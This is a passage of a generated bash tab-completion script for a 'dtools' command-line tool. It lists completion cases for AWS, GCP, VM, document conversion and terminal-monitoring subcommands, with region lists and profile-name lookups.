eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui network-monitoring netscanner\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp vertex deploy-model\'*\'--project\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui network-monitoring ip-traffic\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm list-parameters\'*\'--profile\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui docker docker-layer-analyzer\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'network mitm-proxy\'*\'--script-file\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -A directory -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm start-port-forwarding\'*\'-r\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm start-port-forwarding\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'db mysql\'*\'--persistent-dir-prefix\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(ls -1 $HOME/.db/mysql/)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws secretsmanager create-secret\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --name --profile --region --secret-string -h -p -r")" -- "$cur")' echo $' ;;' echo $'' echo $' \'vm linux\'*\'--persistent-dir-prefix\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(ls -1 $HOME/.vm/linux/)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws logs tail-log-group\'*\'--region\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'network archive-website\'*\'--output\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -- "$cur")' echo $' ;;' echo $'' echo $' \'document convert\'*\'--source-format\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "bibtex biblatex bits commonmark commonmark_x creole csljson csv tsv djot docbook docx dokuwiki endnotexml epub fb2 gfm haddock html ipynb jats jira json latex markdown markdown_mmd markdown_phpextra markdown_strict mediawiki man mdoc muse native odt opml org pod ris rtf rst t2t textile tikiwiki twiki typst vimwiki")" -- "$cur")' echo $' ;;' echo $'' echo $' \'document convert\'*\'--target-format\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ansi asciidoc asciidoc_legacy asciidoctor beamer bibtex biblatex chunkedhtml commonmark commonmark_x context csljson djot docbook docbook5 docx dokuwiki epub epub2 fb2 gfm haddock html html4 icml ipynb jats_archiving jats_articleauthoring jats_publishing jats jira json latex man markdown markdown_mmd markdown_phpextra markdown_strict markua mediawiki ms muse native odt opml opendocument org pdf plain pptx rst rtf texinfo textile slideous slidy dzslides revealjs s5 tei typst xwiki zimwiki")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm list-parameters\'*\'--region\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ec2 list-instances\'*\'--profile\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp vertex tail-endpoint-logs\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp vertex tail-endpoint-logs\'*\'-l\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' echo $' ;;' echo $'' echo $' \'document merge-pdf\'*\'--input-file\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -A directory -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ec2 list-instances\'*\'--filter\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "instance-id instance-type private-dns-name private-ip-address public-dns-name subnet-id vpc-id tags launch-time availability-zone state architecture instance-profile security-groups os")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ec2 list-instances\'*\'--region\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'ansible decrypt-variable\'*\'--file\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' echo $' ;;' echo $'' echo $' \'tui network http-request-client\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws secretsmanager list-secrets\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--detailed --help --profile --region -h -p -r")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws logs tail-log-group\'*\'--since\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(for e in s m h d w; do echo "${2//[!0-9]/}${e}"; done)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui network http-load-generator\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm get-parameter\'*\'--profile\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp artifacts list-repositories\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --location --project -h -l -p")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws secretsmanager show-secret\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--detailed --help --profile --region -h -p -r")" -- "$cur")' echo $' ;;' echo $'' echo $' \'vm mac\'*\'--persistent-dir-prefix\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(ls -1 $HOME/.vm/mac/)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'document convert\'*\'--output-file\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -A directory -- "$cur")' echo $' ;;' echo $'' echo $' \'aws export-sso-creds\'*\'--profile\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui network-monitoring wavemon\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm get-parameter\'*\'--region\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'video rip-audio\'*\'--output-file\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -- "$cur")' echo $' ;;' echo $'' echo $' \'tui network bluetooth-manager\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui monitoring kernel-monitor\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui monitoring pihole-monitor\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui monitoring system-monitor\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws export-sso-creds\'*\'--region\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm start-port-forwarding\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --host --local-port --profile --region --remote-port -h -p -r")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp vertex tail-endpoint-logs\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --location --project -h -l -p")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp vertex predict\'*\'--location\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp artifacts list-images\'*\'-l\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp artifacts list-images\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp vertex list-endpoints\'*\'-l\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui network-monitoring upkit\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp vertex list-endpoints\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui network wireguard-config\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws rds list-db-instances\'*\'-r\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'vm windows\'*\'--share-directory\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -- "$cur")' echo $' ;;' echo $'' echo $' \'aws rds list-db-instances\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws logs query-log-groups\'*\'-r\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws logs query-log-groups\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws generate-sso-profiles\'*\'-d\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws generate-sso-profiles\'*\'-r\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui network network-manager\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'ansible decrypt-variable\'*\'-f\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' echo $' ;;' echo $'' echo $' \'tui dev-help stack-overflow\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'network warc-2-zim\'*\'--output\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm create-parameter\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm create-parameter\'*\'-r\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm update-parameter\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm update-parameter\'*\'-r\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm delete-parameter\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm delete-parameter\'*\'-r\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws logs list-log-groups\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws logs list-log-groups\'*\'-r\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws logs tail-log-group\'*\'-r\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'vm linux\'*\'--share-directory\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp vertex deploy-model\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws logs tail-log-group\'*\'-s\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(for e in s m h d w; do echo "${2//[!0-9]/}${e}"; done)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp vertex deploy-model\'*\'-l\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws logs tail-log-group\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm list-parameters\'*\'-r\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm list-parameters\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws rds list-db-instances\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --profile --region -h -p -r")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws generate-sso-profiles\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--backup --default-cli-region --help --sso-region --sso-start-url -d -h -r -u")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp artifacts list-images\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--detailed --help --location --project -h -l -p")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws logs query-log-groups\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--end-time --help --log-group-name --profile --region --start-time -h -l -p -r")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ec2 list-instances\'*\'-f\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "instance-id instance-type private-dns-name private-ip-address public-dns-name subnet-id vpc-id tags launch-time availability-zone state architecture instance-profile security-groups os")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ec2 list-instances\'*\'-r\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ec2 list-instances\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui data jupyter-notebook\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui development tail-logs\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp vertex predict\'*\'--file\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' echo $' ;;' echo $'' echo $' \'tui development terraform\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --terraform -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp vertex list-endpoints\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--detailed --help --location 